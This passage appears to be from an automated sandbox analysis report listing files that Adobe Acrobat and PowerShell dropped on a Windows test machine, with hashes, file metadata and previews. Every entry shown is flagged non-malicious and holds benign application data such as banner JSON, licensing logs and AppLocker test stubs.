SHA-512:	80046284796E76D6A9CA0693736FC7FC9A5CAFC89B6C7127ED318BA98069D4FC6899C9FBA27604DD55DCD333AD5216CA5B6EB71FB8326CC6609D195D1BFF0FC2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91799b23-c14e-46c0-b539-ef75cae97977","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736758444677,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.255679631248688
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbcK4SnYvB3/dVlPIHAR0YXehoAvJf+dPeUkwRe9:YvXKXbV4SnYvR/ZwHAqeG28Ukee9
MD5:	86AAB1F8EE70AC3FD0FF43BEE9EBC5BE
SHA1:	C30BB9E71150CEE8B347520B0D0373A0C8F5D0CB
SHA-256:	A4F0757959A146C0428AD1B58E84AE3AAE6F7D915EDBE51C9F3C129D1B51539D
SHA-512:	DAD1E65A700D8482157EDD25ABB39B20A654C3DDC065CA32109B28D497E280B4F06957B03494F88F28508D63B28279315FE36A2CC4F884AF9F6138C4A5EEB13A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91799b23-c14e-46c0-b539-ef75cae97977","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736758444677,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.253339554597302
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbcK4SnYvB3/dVlPIHAR0YXehoAvJfbPtdPeUkwRe9:YvXKXbV4SnYvR/ZwHAqeGDV8Ukee9
MD5:	5A6AA94FBF21A9C529D813613FF26BDC
SHA1:	CC542160F039B6781FDE98D821F65F606A0B9D03
SHA-256:	38205C3E6BE88968A171F280281C57DE863BDEF9E1F6DAC01CDEF8D9394E26D9
SHA-512:	C9E323C7ADD63C9486B4912E43A92A7C847BC0E810D766538F9D9B8672FA6D4A41F190F440BD6AB09F1032B7C9F57612D5B13B553E7EA71DDFD44BE6F04ACF91
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91799b23-c14e-46c0-b539-ef75cae97977","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736758444677,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.251647112173852
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbcK4SnYvB3/dVlPIHAR0YXehoAvJf21rPeUkwRe9:YvXKXbV4SnYvR/ZwHAqeG+16Ukee9
MD5:	AB6821326AB657972479341DE794C435
SHA1:	D72C39EB448FC2CCC07F786C29EB5980B7595B18
SHA-256:	0D60DB304826022FCFCED487D06D4CB12EECC28F73148AE04B63896CF8481C9D
SHA-512:	281CA0FFFEBCFC6A18CDA3696E7B1E9C2B262D20DC8B8DEEC5B7B85AB04D7F119D50AE51773228944403A380DDD5EDBDEC56734AE01D1BE9F9300B5D4A8BC0C5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91799b23-c14e-46c0-b539-ef75cae97977","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736758444677,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.667586565400696
Encrypted:	false
SSDEEP:	24:Yv6XbV46YJhOLamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSrH:YvMV46YJhgBgkDMUJUAh8cvMr
MD5:	35F3D705F784F68329E078155F9F2D6E
SHA1:	2C176ABDBDAA764E88F251A854F2E382D0B4C5EF
SHA-256:	950502A94F2970E2691671D8B3A51652CD29A647217DC1513B17ADC4B2071E4E
SHA-512:	ED93230182AC147491D6A1E9D260CB16F80C226B6A613D2407F506F36142F06DB254B61E28BF3F134B91EB71CD9CFBABEC785EE7DCBCF130663490799EC94E39
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91799b23-c14e-46c0-b539-ef75cae97977","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736758444677,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.229031097240419
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbcK4SnYvB3/dVlPIHAR0YXehoAvJfshHHrPeUkwRe9:YvXKXbV4SnYvR/ZwHAqeGUUUkee9
MD5:	D214DBFFBC64B5E9E10E2CB595F624C4
SHA1:	CDCFBF9EE9CDF70C95B097239A879F0EC7D9939D
SHA-256:	F61A20322DBED345992E54A22DC2E86E4E374CA2B00EF4B7036C6FB15E8A1629
SHA-512:	9BC265DDC84B45789351F10A98F8656E1DB88918E72D4E4E93C78C664369D01A8EBD01EEF367C36087AC753F08E89E4F883F28C05B74D16DAAA78E04B3608D32
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91799b23-c14e-46c0-b539-ef75cae97977","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736758444677,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.251983347612156
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbcK4SnYvB3/dVlPIHAR0YXehoAvJTqgFCrPeUkwRe9:YvXKXbV4SnYvR/ZwHAqeGTq16Ukee9
MD5:	05BF9B6E070252AA7F34C1BCD367E62E
SHA1:	BBE6F9566E7752506EF533BB416A1480FEEEDAA4
SHA-256:	6EEFD792897EBB4A32B6AC88E17FBC6814B338C1E05CBC7C84361440F22A37D0
SHA-512:	43F9EE3190FCA82B5FF4BF046C5EC476D83780EC8E596450F960BE9037985B162C596F9CA445DFBBEBF68918FD44FAAB2EBD63AC4323D951DE3292B8BA06631B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91799b23-c14e-46c0-b539-ef75cae97977","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736758444677,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.147901297553457
Encrypted:	false
SSDEEP:	24:YQIZTayY3ayuMZ99aPq2Gq6gsZsZZdQitjI2j0SkVj4AVw2yXX212LSkPCZChnpV:YnYraPmqJ98ghXm1WX5pUPhMF9Z
MD5:	588C1FC033975211761FD9A627C6C640
SHA1:	0DF2B5AD4620526699E05B5BE987185D681653CB
SHA-256:	86CF54697B9AABC5B6347F1D12F82B52AA1B6C1C15623A06DA0ADAA645E0FFA8
SHA-512:	BE4FFBF2F904E1654830590C3C5D717A179B7B004D2DC20B0B310519359B50034AC19A6A5B326BEC39435C19C3350128B80836271D9D7DA5946E236074175D61
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"990d8685cc2f68d70f300828390d366a","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736582914000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"f545665fa1ce2b154b6eef45cc549145","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736582914000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"0fa0352aecf4051534d277149579063d","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736582914000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"3dcdb399c5f2a6e32924ba377593f3ee","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736582914000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"baa38a904198d48692918fef9fa5ba61","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736582913000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"009720d2afb2b06b1b1e7bdc79b38326","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3190279241582605
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeN2dmtq7:TGufl2GL7ms9WR1CPmPbPahNTypilIff
MD5:	480F4322E06E817ECC4760AC7EDAE6D8
SHA1:	3AE80CC2BAB5ACC72B74C369D680FFCFDBEB1FB4
SHA-256:	293526A866DE879D774EECE4F53549DD8CA02E3A97DDC2860A113DE72905FC42
SHA-512:	F5249F77C97308B75C6282C2A022FBDBE433FE84E1AD85D63A0E7DF6BCD16C1E81DEFAE22E957F31399B801FA583C2CE621B21DE10D5896A0FB3215C2D1EB6FA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7817585285130164
Encrypted:	false
SSDEEP:	24:7+tQlhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeN2dm4qVpaVrScVr0InlqLhi:7M3WR1CPmPbPahNSypilIgqFl2GL7ms+
MD5:	7E3495D098316105F315E790C29847E4
SHA1:	387A0D0DA1FE306C3518369F37A9D2C12B5426D2
SHA-256:	AA86190440520C91C1BBA3363AEF629C751FBD31F9920D69854871B8CFFFFA0B
SHA-512:	59F264C48980CF732CEC2958FB8AE42AAF4B62A87428699604067157EC816728A7BD40D8B8F30D82D30373BF7B22DEB377A37361F99953D7E82C7AB725D8324E
Malicious:	false
Preview:	.... .c......]............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgckWRNktwK1rGv+V1nVhWDMYcDdYyu:6a6TZ44ADEckWRyyK16veY2dK
MD5:	151D3733437146628F183070851A03E5
SHA1:	4C8DC846F57373D90A3285114A35E2986D43FF60
SHA-256:	BF4072BFDD84FFF6F5E0BCB7AB5A42387166C93ECBEBFBE2CEAF17915EC05A3F
SHA-512:	DD3324E44322F97057AC0858D053FB6A469C627593C9A88D29740E569DAFD0645913CDD333195B42AAF7666D240A8473B50577381095320C1F285A4D53C8FEFF
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIc1e46.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.513199765407527
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl+klrCH:Qw946cPbiOxDlbYnuRKdhklrw
MD5:	0BD8F3DF29F0034528CA6C243A6D9AEA
SHA1:	B82A9053F4DBCB82DA5F508406192ADB987A609D
SHA-256:	61699A7465E722B197881EB7725FAF52C7EBFA6A095B666B09CD81213E17D0CE
SHA-512:	C36BC7D9405FBDBD16A897067D1FFCD62FAF4C641047D9F91148F438E78CF129036A48EEB915FADA7CC26EF60791F1F94FFB89D0E9CDF492C1A9DCD0ABD7328A
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.3.:.0.8.:.3.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ec3zibve.aa0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sncdnrzx.rlr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 03-08-27-114.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.367660664200599
Encrypted:	false
SSDEEP:	384:quSXCCL8F3Vfh5553tfYpzoFt2tM0l5g8f2KsAceiHLwUvBfd/osezevqx7HDqC9:HPe
MD5:	A449BA67D6974FD0402D830CA5A6427C
SHA1:	5ACE165FA1A2264BE23F2ED2A94F360734E76843
SHA-256:	DE40A8875B3CE7A13871F98F5C80D13184A1F527CE03BF3E40E8E68D9EE4E692
SHA-512:	AE789B6A7FAC5E3C4F42646300323B62D39F7728ADB2F7D961B944B74DF6433551B0C3AC85EAE9A0C285768AF02C97465DA03B48B935CA66BE936DE32A9E039E
Malicious:	false
Preview:	SessionID=46a913ba-d953-4013-bda3-3672cd7b9cc3.1736582907140 Timestamp=2025-01-11T03:08:27:140-0500 ThreadID=7860 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=46a913ba-d953-4013-bda3-3672cd7b9cc3.1736582907140 Timestamp=2025-01-11T03:08:27:142-0500 ThreadID=7860 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=46a913ba-d953-4013-bda3-3672cd7b9cc3.1736582907140 Timestamp=2025-01-11T03:08:27:142-0500 ThreadID=7860 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=46a913ba-d953-4013-bda3-3672cd7b9cc3.1736582907140 Timestamp=2025-01-11T03:08:27:142-0500 ThreadID=7860 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=46a913ba-d953-4013-bda3-3672cd7b9cc3.1736582907140 Timestamp=2025-01-11T03:08:27:142-0500 ThreadID=7860 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.406050626591572
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cb9cbaItRcbZ:ceo4+rsCYte
MD5:	A74CA9C6056C742EB54F74A345509B99
SHA1:	23A28C5E8307EFF3CF6B9A331869CAE2E81A198D
SHA-256:	EDCFFC02552889A6848D19ACF822F24854D2D831DA13B2D192250446B6EE4668
SHA-512:	F100C54008678D625EE94CBE2A9EF885E7D8AAE054737EB6A9AE18FDCC1779C33739328D8A58971F7FB65CED459103C5D46577E5F549307FFCEF3C6A757CD645
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\4013fc26-4bd9-4efd-ae6c-fe511ae5d941.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\431a627d-402a-4620-8858-20720b45e4ca.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
